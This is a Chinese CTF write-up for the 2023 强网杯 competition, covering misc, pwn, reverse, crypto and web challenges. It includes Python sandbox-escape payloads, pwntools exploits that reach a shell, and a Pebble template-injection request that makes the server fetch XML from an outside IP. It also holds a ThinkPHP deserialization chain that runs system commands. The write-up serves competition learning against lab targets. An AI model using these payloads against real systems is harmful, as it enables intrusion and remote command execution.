        response = conn.recvline().decode().strip()
        if response != "Here is your code coverage: 110000000":
            non_matching_strings.append(payload)
for string in non_matching_strings:
    print(string)

FLAG:qwb{YouKnowHowToFuzz!}

签到

flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

Python沙箱逃逸闭合之后open直接读environ得到flag

{13212}'+(print(open('/proc/1/environ').read()))+'
 或者使用payload:
{print(open("/proc/1/environ").read())}
va31501o1xh13369.jpg lgnj51xzwlo13371.jpg
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It's myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过,分段写

{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# 
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
3j1v1vidnps13373.jpg  
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

Wabby Wabbo Radio

f12可以拿到wav的链接/static/audios/xh4.wav

yw2feqxv3hm13375.jpg

重新刷新了一下发现是随机选取播放的

fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav

每一个wav的左声道显然是莫斯

 

i0lif3ws5pu13378.jpg

 

分离声道,增幅,在线网站解一下

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到:

Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?

其他都没啥用,就一个提示了QAM载波幅度

https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图

简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间

biay4wxsvvf13380.jpg

对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,

简单的脚本如下:

import scipy.io.wavfile as wav
import numpy as np
import sys

sample_rate, data = wav.read("flag.wav")
for i in data:
    print(i)
flag=''
def repla(n):
    if n == -3:
        return '00'
    elif n == -1:
        return '01'
    elif n == 1:
        return '10'
    elif n == 3:
        return '11'

for x, y in data:
    n1 = round(float(x))
    n2 = round(float(y))
    flag += repla(n1)
    flag += repla(n2)

print(flag)

eiw1dnn4tdc13382.jpg

谍影重重3.0

给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn

稍微搜一下就可以得到是Shadowsks,参考文章:

https://phuker.github.io/posts/Shadowsks-active-probing.html

给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher,password):
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'

    with open('rockyou.txt','rb') as f:
        lines = f.readlines()
    for password in lines:
        plain = decrypt(cipher,password.strip())
        if b'HTTP' in plain:
            print(password,plain)

if __name__ == "__main__":
    main()

#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'

得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag

flag{dc7e57298e65949102c17596f1934a97}

谍影重重2.0

根据题目描述飞机流量可以很容易联想到ADS-B协议

导出tcp流数据

tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt

解析脚本:

import pyModeS

with open('tcp.txt','r')as f:
    lines = f.readlines()
for data in lines:
    if len(data)==47:
        print(pyModeS.decoder.tell(data[18:]))

筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag

kter5lg30pv13383.jpg
或者

将数据包导出为json格式

 

szb5gys4xfa13385.png

 

使用脚本提取字段并进行MD5

import json
import pyModeS as pms
import hashlib
 
with open('123.json', 'r', encoding='utf-8') as file:
    data = json.load(file)
 
info = []
for packet in data:
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
 
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)
 
planes_data = []
 
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
 
        plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        planes_data.append(plane_info)
 
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}

happy chess

应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了

gk2hbpedrhk13387.jpg  

强网先锋

speedup

纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了

https://oeis.org/A244060/list

2023 强网杯 writeup by Arr3stY0u

sha256后得到flag

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

找到PNG了吗

strings main.mem | grep "Linux version"
f5fr5onn5ke13392.jpg

拿到内核版本后照着

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

做个linux的profile

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"

桌面上能找到个文件have_your_fun.jocker

xpcagh5qxcl13394.jpg

尝试导出,但为空

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker

不知道如何恢复,直接尝试全局搜一下文件名

找到一个加密脚本,简单的两次rc4加密,key都给了

根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png

2023 强网杯 writeup by Arr3stY0u

直接加密一下png头

2023 强网杯 writeup by Arr3stY0u

可以直接定位到内存中残留的have_your_fun.jocker位置

2023 强网杯 writeup by Arr3stY0u

直接解密得到flag图

2023 强网杯 writeup by Arr3stY0u

flag{It's_So_Hard_To_Find_A_Picture}

trie

题目分析

–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot

–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]

思路分析

–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。

–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)

–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)

2023 强网杯 writeup by Arr3stY0u

exp

 #!/usr/bin/env python3

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"


def add(des, next):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"1")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)
    io.recvuntil(b"Input the next hop:")
    io.sendline(next)


def show(des):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"2")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)


def get_flag():
    io.recvuntil(b"4. Quit.")
    io.sendline(b"3")


def leak(data):
    add(str(data).encode() + b".0.0.0", b"0.0.0.0")
    get_flag()
    show(str(data).encode() + b".0.0.0")
    io.recvuntil(b"The next hop is ")
    info = io.recvuntil(b"\n", drop=True)
    parts = info.split(b".")
    parts = parts[::-1]
    ascii_values = [chr(int(part)) for part in parts]
    ascii_values = "".join(ascii_values)
    flag = ascii_values
    return flag


add("0.0.0.0", "0.0.0.0")  # 32
add("64.0.0.0", "0.0.0.0")  # 2
add("32.0.0.0", "0.0.0.0")  # 3
add("96.0.0.0", "0.0.0.0")  # 2
add("16.0.0.0", "0.0.0.0")  # 4
add("80.0.0.0", "0.0.0.0")  # 2
add("48.0.0.0", "0.0.0.0")  # 3
add("112.0.0.0", "0.0.0.0")  # 2
add("0.4.0.0", "0.0.0.0")  # 14

flag = ""
get_flag()
show(b"0.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)

flag += leak(128)
log.success(flag)

flag += leak(192)
log.success(flag)

flag += leak(160)
log.success(flag)

flag += leak(144)
log.success(flag)

flag += leak(208)
log.success(flag)

flag += leak(176)
log.success(flag)

flag += leak(240)
log.success(flag)

flag += leak(224)
log.success(flag)

add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()

2023 强网杯 writeup by Arr3stY0u

ez_fmt

格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('There is a gift for you ')
leak_stack  = int(rl()[:-1],16)
leak_ex2(leak_stack)


attack_stack = leak_stack - 0x8
pd = flat(
    {
        0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
        0x18:[0x401205],
        0x28:attack_stack,
    }
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb

pd = flat(
    {
        0x18:[
            CG.pop_rdi_ret(),
            CG.bin_sh(),
            lb + 0x51cd2]
    }
)
S()
s(pd)

ia()

hello spring

审计源码后发现是pepple的模板注入

发现过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

用字符串拼接的方式绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

上传payload如下

POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D

上传的文件名与时间有关,并且题目环境的时间与现实不一样

public static String general_time() {
    LocalDateTime currentTime = LocalDateTime.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
    String var10000 = currentTime.format(formatter);
    String fileName = "file_" + var10000 + ".pebble";
    System.out.println("filename is " + fileName);
    return fileName;
}

 

yoolbmjcpf013434.jpg

 

那么文件名就为 file_20231217_160502,发送payload去触发该点

GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

kvh3c5vfd3f13439.jpg

 

babyre

调试发现密钥和密文都变了

 

yadbuzrx2lm13445.jpg

 

加解密过程对应着修改

 

zhhgvvttz3y13449.jpg

 

解密脚本

#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
            v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum -= delta;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            sum += delta;
            v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
    if (hex_or_chr)
    {
        for (int i = 0; i < n; i++)
        {
            printf("0x%x,", v[i]);
        }
    }
    else
    {
        for (int i = 0; i < n; i++)
        {
            for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
            {
                printf("%c", (v[i] >> (j * 8)) & 0xFF);
            }
        }
    }
    printf("\n");
    return;
}

int main()
{
    // v为要加解密的数据
    uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
    // num_rounds,建议取值为32
    unsigned int r = 33;

    int n = sizeof(v) / sizeof(uint32_t);
    /*
    printf("加密前明文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        encrypt(r, &v[i * 2], k);
    }
    */
    printf("加密后密文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        decrypt(r, &v[i * 2], k);
    }

    printf("解密后明文数据:");
    dump_data(v, n, 1);

    printf("解密后明文字符:");
    dump_data(v, n, 0);

    return 0;
}

// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun

ezre

变表base64编解码交替

2023 强网杯 writeup by Arr3stY0u

有个循环异或

2023 强网杯 writeup by Arr3stY0u

先逆循环异或

enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
       0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
       0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
       0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
       0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
       "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
       "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
       "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
       "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
       for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
    aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
    if v6 % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = v5[v7 + 1]
    elif v6 % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = v5[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = v5[v7 + 3]
    v6 += 1
    xor.append(v3)
for i in range(len(enc)-1, -1, -1):
    enc[i] ^= enc[i-1]
    if i <= len(enc)-2:
        enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

再逆变表base64编解码再补全

2023 强网杯 writeup by Arr3stY0u

flag{3ea590ccwxehg715264fzxnzepqz}

石头剪刀布

因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。

由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。

from pwn import remote

ip = '<ip>'
port = '<port>'

class GetStatus:
    def __init__(self, _ip=ip, _port=port) -> None:
        self.r = remote(_ip, _port)
        self.score = 0

    def getdiff(self, out):
        self.r.sendlineafter('请出拳'.encode(), str(out).encode())
        self.r.recvuntil('分数:'.encode())
        newscore = int(self.r.recvline().decode()) 
        diff = newscore - self.score
        self.score = newscore
        return diff

    def test_list(self, lis):
        for out in lis:
            diff = self.getdiff(out)
            if self.score >= 260:
                return 'win'
        return diff

current_best = [0] * 5
diff2out = {
    3: 0,
    1: 2,
    0: 1
}
while len(current_best) <= 100:
    current_best.append(0)
    c = GetStatus()
    diff = c.test_list(current_best)
    if c.score >= 260:
        c.r.interactive()
        break
    c.r.close()
    current_best[-1] = diff2out[diff]
    print(f'Round {len(current_best)}: {current_best}')
或者

按照如下顺序即可获胜

0000011220120220110111222010022012110021012012202100112022100112110020110220210201

2qrcfev5yae13463.png

CRYPTO

not only rsa

n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:

from Crypto.Util.number import  long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
  a=(a*b)%n
  m=long_to_bytes(int(a))
  if b"flag" in m:
    print(m)
    break

#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

 

discrete_log

阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解

import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)):    half_flag1 = bytes_to_long(''.join(half_flag1).encode())    temp = cc * powmod(gtemp, -(half_flag1), p) % p    dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)):    half_flag2 = bytes_to_long(''.join(half_flag2).encode())    temp = powmod(g, half_flag2, p)    if temp in dic:        print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))

WEB

thinkshop

附件在本地起docker可以得到源码,审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

 

sjhzdtazw4g13465.jpg

 

审计发现在保存操作调用save->updatedata

 

senrvrqy2wr13469.jpg

 

在updatedata存在SQL注入,$key相当于是$data中的一个键值。

 

yml5zi2gann13471.jpg

 

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

 

pd5ft4eg34j13473.jpg

 

在编辑页面可以看到数据抽取时会进行反序列化操作

 

vqcz1yb0pnz13477.jpg

 

利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
{
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
{}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
{}
    class BelongsTo extends OneToOne
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
{
        protected $model;
        public function __construct($function,$parameter)
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAq